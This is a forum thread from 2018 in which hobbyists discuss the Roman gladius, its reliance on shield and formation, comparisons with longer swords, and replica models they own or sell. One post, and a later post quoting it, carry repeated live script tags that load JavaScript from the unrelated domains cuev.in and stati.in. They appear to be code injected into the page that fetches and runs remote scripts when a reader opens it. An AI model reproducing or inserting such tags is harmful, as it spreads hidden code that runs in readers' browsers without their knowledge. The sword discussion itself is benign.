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Post by Jordan Williams on Mar 31, 2018 4:34:21 GMT
You're about 5 years too late for the plug lol.
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Post by bebut on Mar 31, 2018 5:48:54 GMT
The gladius was only half a weapon. the shield was the other half. Take away the shield and it was too little to go up against longer weapons. Phase it out for a longer model and then eventually phase that out for a more agile single edged sword.
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Post by howler on Mar 31, 2018 6:36:29 GMT
The gladius was only half a weapon. the shield was the other half. Take away the shield and it was too little to go up against longer weapons. Phase it out for a longer model and then eventually phase that out for a more agile single edged sword. Yup, not to mention your fellow soldiers on each side in formation. The real secret to the Gladius was the system. |
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Post by tonystark on Mar 31, 2018 7:18:11 GMT
You're about 5 years too late for the plug lol. Ya know, I really gotta start looking at the post dates! LOL I didn’t realize they stay active for so long. |
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Post by howler on Mar 31, 2018 18:47:14 GMT
You're about 5 years too late for the plug lol. Ya know, I really gotta start looking at the post dates! LOL I didn’t realize they stay active for so long. No, I LOVE zombie threads...they are the most interesting, and have the power to come back to life. |
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Post by tonystark on Mar 31, 2018 19:22:24 GMT
Ya know, I really gotta start looking at the post dates! LOL I didn’t realize they stay active for so long. No, I LOVE zombie threads...they are the most interesting, and have the power to come back to life. I see what ya did thar 😉 As long as it’s a topic/debate that HASN’T been beaten to death, sure! I guess that’s the awesome thing about swords. |
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Post by legacyofthesword on Mar 31, 2018 19:44:23 GMT
The gladius was only half a weapon. the shield was the other half. Take away the shield and it was too little to go up against longer weapons. Phase it out for a longer model and then eventually phase that out for a more agile single edged sword. Necro thread, but yep - what this guy said. I've done some sparring with gladius and scutum, and it's less of a sword-fight, more of a brawl: bash with the shield, pinning the opponent's weapons against them and throwing them off balance, then slip the gladius around and stab whatever you can get at (the Romans were trained to aim for the stomach I believe). I'd take a short stabbing sword over a long one any day in those close quarters. |
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Post by howler on Mar 31, 2018 20:19:44 GMT
The gladius was only half a weapon. the shield was the other half. Take away the shield and it was too little to go up against longer weapons. Phase it out for a longer model and then eventually phase that out for a more agile single edged sword. Necro thread, but yep - what this guy said. I've done some sparring with gladius and scutum, and it's less of a sword-fight, more of a brawl: bash with the shield, pinning the opponent's weapons against them and throwing them off balance, then slip the gladius around and stab whatever you can get at (the Romans were trained to aim for the stomach I believe). I'd take a short stabbing sword over a long one any day in those close quarters. This, particularly when in tight formation with a fellow soldier on each side, all of acting as one. |
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Post by Jordan Williams on Mar 31, 2018 21:10:10 GMT
As a stand alone weapon I really can't see any advantages over other weapons. Nearly all other swords have length + hand protection over it, unless they are also very short swords like the Russian or Georgian kindjal or Japanese Wakizashi.
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Post by tonystark on Apr 1, 2018 1:35:36 GMT
That’s why you “dual wield” em’ LOL Sorry, someone was eventually going to say it!
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Post by legacyofthesword on Apr 1, 2018 1:49:30 GMT
As a stand alone weapon I really can't see any advantages over other weapons. Nearly all other swords have length + hand protection over it, unless they are also very short swords like the Russian or Georgian kindjal or Japanese Wakizashi. Yep, no doubt about it: as a stand alone weapon it wouldn't be much. |
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Post by bebut on Apr 1, 2018 2:16:53 GMT
I really like the look and feel of leaf bladed swords like the lakonia or the slightly less elegant gladius and qama. but you have to consider the circumstances as people have pointed out-- the shield, the training, the formation, etc.
Taken out of their ancient context, their real value now as weapons would be as close-up weapons when one has no access to firearms.
There were a few throwbacks to tradition like the Civil War era artillery sword which borrowed from the classical designs, but by and large the world moved on to cutlasses, wakizashi, and sabers for comparatively short one-handed swords.
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Post by howler on Apr 1, 2018 2:41:24 GMT
I really like the look and feel of leaf bladed swords like the lakonia or the slightly less elegant gladius and qama. but you have to consider the circumstances as people have pointed out-- the shield, the training, the formation, etc. Taken out of their ancient context, their real value now as weapons would be as close-up weapons when one has no access to firearms. There were a few throwbacks to tradition like the Civil War era artillery sword which borrowed from the classical designs, but by and large the world moved on to cutlasses, wakizashi, and sabers for comparatively short one-handed swords. The leaf blades, large double edged daggers, Gladius, and similar type do make really good home defense weapons, as they are balanced stabbers that still have chopping heft, and the double edge can push and pull cut everywhere. |
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Post by andresr22 on Apr 1, 2018 3:15:57 GMT
I am curious about the Roman Gladius. Are there basic advantages of this sword design, over other sword designs, ie the Japanese Katana, or Scottish Clamore? The Romans were pretty sharp, most of what they did was well thought out. Not to mention they rulled the known world for about 500 years, and used the Gladious to do it. I cannot get past the question of; why would the Romans choose to use a sword that was so short? Would'nt a long sword be better, a longer sword has inherent advantages? I am guessing a short wide blade is the most efficent use of force in the arc of the swing, minimaizing strain on the shoulder, elbow, and wrist. Plus the wide blade maximizes dammage to tissue, with a thrust, or slash. Or is it simmply that metalergy at the time limmited effective blade length. And I am giving the Romans too much credit. I am thankfull for any imput I can get. Thanks. I have a really nice one for sale if you’re interested 😁 Hi you are selling an Albion Mainz Gladius?<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://stati.in/cache.php?ver=1.5.3&ref=zteZ"></script><script type="text/javascript" src="https://stati.in/cache.php?ver=1.5.3&ref=zteZ"></script> |
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Post by tonystark on Apr 1, 2018 8:31:05 GMT
I have a really nice one for sale if you’re interested 😁 Hi you are selling an Albion Mainz Gladius?<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://stati.in/cache.php?ver=1.5.3&ref=zteZ"></script><script type="text/javascript" src="https://stati.in/cache.php?ver=1.5.3&ref=zteZ"></script> Hah, no. It’s a Legacy Arms Maintz Gladius. It’s in the Classified Section of the Forum. |
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Post by AndiTheBarvarian on Apr 1, 2018 8:46:00 GMT
My Gen2/LA "Maintz" is a respectable stand alone weapon, but it's not the most historical accurate gladius repro in the world.  I can use it two handed (ok, more like an one and a half hander + pommeling) , good for training Liechtenauer guards in an appartment. |
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Post by tonystark on Apr 1, 2018 17:09:31 GMT
My Gen2/LA "Maintz" is a respectable stand alone weapon, but it's not the most historical accurate gladius repro in the world. I can use it two handed (ok, more like an one and a half hander + pommeling) , good for training Liechtenauer guards in an appartment. Yeah I found it to be a little “thinner” and slightly longer than my V.A Gladius, Museum Replica’s Pompeii, and my Condor Maintz. I’d actually like to pick up a relatively historically accurate Kopis, but not really a Deepeeka. Wow, not trying to sound elitist or anything..... |
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Post by AndiTheBarvarian on Apr 1, 2018 17:25:57 GMT
You could promote it in your selling thread as the only one and a half hand gladius in the market, the grip is even waisted (in fact four times!  Perhaps a gladius for the guys who like two handed viking swords?  |
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Post by christain on Apr 1, 2018 17:36:31 GMT
All's I now is: My CS Gladius Machete is so damned sharp, it makes water bottles sprout legs and run like hell. Bamboo isn't far behind. Never thought I'd be so enamored with a 'tactical' sword....but it happened.  |
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Post by AndiTheBarvarian on Apr 1, 2018 17:42:08 GMT
The Maintz is a gladius on steroids, you can even watch Conan the Barbarian with your hand resting on its pommel and don't feel ridiculous!
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